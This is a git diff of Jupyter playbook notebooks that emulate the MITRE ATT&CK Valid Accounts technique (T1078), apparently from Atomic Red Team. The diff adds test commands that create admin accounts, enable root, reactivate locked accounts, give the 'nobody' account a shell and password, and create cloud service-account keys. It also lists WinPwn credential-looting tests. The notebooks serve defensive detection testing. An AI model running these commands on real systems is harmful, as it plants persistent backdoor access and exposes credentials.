"outputs": [], + "source": "Invoke-AtomicTest T1078.001 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "9bc5b8f8", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nsudo sysadminctl -guestAccount off```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e1f6c0e8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.001 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "0dd50a6f", "metadata": {}, "source": "## Detection\nMonitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately." } @@ -92,13 +127,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1078.002.ipynb b/playbook/tactics/defense-evasion/T1078.002.ipynb index e285270b..1b4c24a0 100644 --- a/playbook/tactics/defense-evasion/T1078.002.ipynb +++ b/playbook/tactics/defense-evasion/T1078.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9b150b89", + "id": "2f7cc8f3", "metadata": {}, "source": "# T1078.002 - Domain Accounts\nAdversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain." }, { "cell_type": "markdown", - "id": "0461a923", + "id": "9fd771fc", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "fd7a07c4", + "id": "7a088946", "metadata": {}, "source": "## Detection\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1078.003.ipynb b/playbook/tactics/defense-evasion/T1078.003.ipynb index 46105c4e..7959fb8d 100644 --- a/playbook/tactics/defense-evasion/T1078.003.ipynb +++ b/playbook/tactics/defense-evasion/T1078.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ddee2d7b", + "id": "325277fa", "metadata": {}, "source": "# T1078.003 - Local Accounts\nAdversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. " }, { "cell_type": "markdown", - "id": "dd567d6e", + "id": "530df81f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "513043c6", + "id": "4e348cf6", "metadata": {}, "source": [ "### Atomic Test #1 - Create local account with admin privileges", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b6dd886d", + "id": "b85a6bdc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c4da77d9", + "id": "87ec5a86", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet localgroup administrators art-test /delete >nul 2>&1\nnet user art-test /delete >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "0918dec9", + "id": "e311f9e7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "e8e422e1", + "id": "76e85d22", "metadata": {}, "source": [ "### Atomic Test #2 - Create local account with admin privileges - MacOS", @@ -63,31 +63,136 @@ { "cell_type": "code", "execution_count": null, - "id": "136e91da", + "id": "595292c4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "67cdba5a", + "id": "6f3d3ba4", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo dscl . -delete /Users/AtomicUser```" }, { "cell_type": "code", "execution_count": null, - "id": "0672aa29", + "id": "a6f090a6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "c02abf04", + "id": "daefbdbf", "metadata": {}, "source": [ - "### Atomic Test #3 - WinPwn - Loot local Credentials - powerhell kittie", + "### Atomic Test #3 - Create local account with admin privileges using sysadminctl utility - MacOS", + "After execution the new account will be active and added to the Administrators group", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nsysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9a3c2c24", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "bb3f6218", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nsysadminctl interactive -deleteUser art-tester```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8f1e6287", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "ad30f1bf", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Enable root account using dsenableroot utility - MacOS", + "After execution the current/new user will have root access", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\ndsenableroot #current user\ndsenableroot -u art-tester -p art-tester -r art-root #new user```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4ca5c314", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "2a1510f6", + "metadata": {}, + "source": "#### Cleanup: \n```bash\ndsenableroot -d #current user\ndsenableroot -d -u art-tester -p art-tester #new user```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5e64dda9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "66551d93", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Add a new/existing user to the admin group using dseditgroup utility - macOS", + "After execution the current/new user will be added to the Admin group", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\ndseditgroup -o edit -a art-user -t user admin```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3e8f0a53", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "46d7afc6", + "metadata": {}, + "source": "#### Cleanup: \n```bash\ndseditgroup -o edit -d art-user -t user admin```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "dc9ddc1b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "29ef957e", + "metadata": {}, + "source": [ + "### Atomic Test #6 - WinPwn - Loot local Credentials - powerhell kittie", "Loot local Credentials - powerhell kittie technique via function of WinPwn", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -98,17 +203,17 @@ { "cell_type": "code", "execution_count": null, - "id": "961fe668", + "id": "48700c9b", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1078.003 -TestNumbers 3" + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "71857e1e", + "id": "149465c8", "metadata": {}, "source": [ - "### Atomic Test #4 - WinPwn - Loot local Credentials - Safetykatz", + "### Atomic Test #7 - WinPwn - Loot local Credentials - Safetykatz", "Loot local Credentials - Safetykatz technique via function of WinPwn", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -119,14 +224,189 @@ { "cell_type": "code", "execution_count": null, - "id": "e589fa47", + "id": "e7964286", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1078.003 -TestNumbers 4" + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "e528c0d5", + "metadata": {}, + "source": [ + "### Atomic Test #8 - Create local account (Linux)", + "An adversary may wish to create an account with admin privileges to work with. In this test we create a \"art\" user with the password art, switch to art, execute whoami, exit and delete the art user.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\npassword=$(openssl passwd -1 art)\n([ \"$(uname)\" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))\nsu art -c \"whoami; exit\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ba1de110", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 8" + }, + { + "cell_type": "markdown", + "id": "0ec16566", + "metadata": {}, + "source": "#### Cleanup: \n```bash\n[ \"$(uname)\" = 'Linux' ] && userdel art -rf || rmuser -y art\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9d978986", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 8 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "0ff382d0", + "metadata": {}, + "source": [ + "### Atomic Test #9 - Reactivate a locked/expired account (Linux)", + "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nuseradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art\nusermod --lock art\nusermod --expiredate \"1\" art\nusermod --unlock art\nusermod --expiredate \"99999\" art\nsu art\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d5913b74", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "75e0f2c7", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nuserdel -r art \n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "74a3b868", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 9 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "cc58d103", + "metadata": {}, + "source": [ + "### Atomic Test #10 - Reactivate a locked/expired account (FreeBSD)", + "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\npw useradd art -g wheel -s /bin/sh\necho $(openssl passwd -1 art) | pw mod user testuser1 -h 0\npw lock art\npw usermod art -e +1d\npw unlock art\npw user mod art -e +99d\nsu art\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2555377c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "e1ec5024", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrmuser -y art \n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "904ba6f4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "456224e5", + "metadata": {}, + "source": [ + "### Atomic Test #11 - Login as nobody (Linux)", + "An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nchsh --shell /bin/bash nobody\nusermod --password $(openssl passwd -1 nobody) nobody\nsu nobody\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8a008af6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 11" + }, + { + "cell_type": "markdown", + "id": "51d3c7b8", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nchsh --shell /usr/sbin/nologin nobody\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "59c5fbca", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 11 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d06e5c3f", + "metadata": {}, + "source": [ + "### Atomic Test #12 - Login as nobody (freebsd)", + "An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin\npw usermod nobody -s /bin/sh\necho $(openssl passwd -1 art) | pw mod user nobody -h 0\nsu nobody\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "185161d3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 12" + }, + { + "cell_type": "markdown", + "id": "089819c9", + "metadata": {}, + "source": "#### Cleanup: \n```sh\npw usermod nobody -s /usr/sbin/nologin\ncat /etc/passwd |grep nobody\n# -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "079b98cf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "60ed0036", + "id": "584ea642", "metadata": {}, "source": "## Detection\nPerform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours." } @@ -134,13 +414,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1078.004.ipynb b/playbook/tactics/defense-evasion/T1078.004.ipynb index 6428c38d..fbd54e7d 100644 --- a/playbook/tactics/defense-evasion/T1078.004.ipynb +++ b/playbook/tactics/defense-evasion/T1078.004.ipynb @@ -2,64 +2,154 @@ "cells": [ { "cell_type": "markdown", - "id": "7c537b4f", + "id": "96ed7387", "metadata": {}, - "source": "# T1078.004 - Cloud Accounts\nAdversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges." + "source": "# T1078.004 - Cloud Accounts\nValid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud or be hybrid joined between on-premises systems and the cloud through federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n" }, { "cell_type": "markdown", - "id": "3f2411d4", + "id": "a9dd03e2", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e664c033", + "id": "39833487", "metadata": {}, - "source": "### Atomic Test #1 - Creating GCP Service Account and Service Account Key\nGCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.\n\n**Supported Platforms:** google-workspace, iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```" + "source": "### Atomic Test #1 - Creating GCP Service Account and Service Account Key\nGCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.\n\n**Supported Platforms:** google-workspace, iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```\n##### Description: Check if user is logged in \n\n##### Check Prereq Commands:\n```sh\ngcloud config get-value account\n\n```\n##### Get Prereq Commands:\n```sh\ngcloud auth login --no-launch-browser\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "05a73319", + "id": "a041a936", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "781fba18", + "id": "d7f72088", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\ngcloud auth login --no-launch-browser\ngcloud config set project art-project-1\ngcloud iam service-accounts create gcp-art-service-account-1\ngcloud iam service-accounts keys create gcp-art-service-account-1.json --iam-account=gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com\n```" + "```sh\ngcloud config set project art-project-1\ngcloud iam service-accounts create gcp-art-service-account-1\ngcloud iam service-accounts keys create gcp-art-service-account-1.json --iam-account=gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c36cc90e", + "id": "3f2392f4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a2a92375", + "id": "3d5d079f", "metadata": {}, "source": "#### Cleanup: \n```sh\ngcloud iam service-accounts delete gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com --quiet\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7e8b08bd", + "id": "a81426d9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "d4319787", + "id": "2d2e11ae", + "metadata": {}, + "source": "### Atomic Test #2 - Azure Persistence Automation Runbook Created or Modified\nIdentifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure\nAutomation runbook to execute malicious code and maintain persistence in their target's environment.\n\n**Supported Platforms:** iaas:azure\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Check if terraform is installed.\n\n##### Check Prereq Commands:\n```powershell\nterraform version\n\n```\n##### Get Prereq Commands:\n```powershell\necho Please install terraform.\n\n```\n##### Description: Install-Module -Name Az\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Az -Scope CurrentUser -Force\n\n```\n##### Description: Check if the user is logged into Azure.\n\n##### Check Prereq Commands:\n```powershell\naz account show\n\n```\n##### Get Prereq Commands:\n```powershell\necho Configure your Azure account using: az login. \n\n```\n##### Description: Create dependency resources using terraform\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Test-Path \"$PathToAtomicsFolder/T1078.004/src/T1078.004-2/terraform.tfstate\" ){ exit 0 } else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ncd \"$PathToAtomicsFolder/T1078.004/src/T1078.004-2/\"\nterraform init\nterraform apply -auto-approve\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1d285074", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "38278288", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$secure_pwd = \"None\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"None\", $secure_pwd\nConnect-AzAccount -Credential $creds\nNew-AzAutomationRunbook -Name None -Type PowerShell -ResourceGroupName None -Description 'my-test-runbook' -AutomationAccountName None\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9a600780", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "f94b35e4", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-AzAutomationRunbook -AutomationAccountName None -Name None -ResourceGroupName None -Force\ncd \"$PathToAtomicsFolder/T1078.004/src/T1078.004-2/\"\nterraform destroy -auto-approve\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0cc5ccf0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "5231470e", + "metadata": {}, + "source": "### Atomic Test #3 - GCP - Create Custom IAM Role\nThis atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*. The idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). \nCustom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. \nCustom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized.\n\nThis atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml\n\n**Supported Platforms:** iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```\n##### Description: Check if user is logged in \n\n##### Check Prereq Commands:\n```sh\ngcloud config get-value account\n\n```\n##### Get Prereq Commands:\n```sh\ngcloud auth login --no-launch-browser\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4cb21748", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "c5ed298e", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\ngcloud config set project atomic-test-1\ngcloud iam roles create AtomicRedTeamRole --description=\"Atomic Red Team Custom IAM Role\" --permissions=iam.serviceAccounts.get --project=atomic-test-1\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a0802866", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "642fc277", + "metadata": {}, + "source": "#### Cleanup: \n```sh\ngcloud iam roles delete AtomicRedTeamRole --project=atomic-test-1\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "bc5add8f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "218d8e48", "metadata": {}, "source": "## Detection\nMonitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours." } @@ -67,13 +157,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1078.ipynb b/playbook/tactics/defense-evasion/T1078.ipynb index 5edca487..29ba86d8 100644 --- a/playbook/tactics/defense-evasion/T1078.ipynb +++ b/playbook/tactics/defense-evasion/T1078.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "1ef20811", + "id": "34e4d3ca", "metadata": {}, "source": "# T1078 - Valid Accounts\nAdversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)" }, { "cell_type": "markdown", - "id": "58213166", + "id": "b3ad9538", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "2f7dc5dd", + "id": "64dac4fd", "metadata": {}, "source": "## Detection\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately." }, { "cell_type": "markdown", - "id": "621b4b91", + "id": 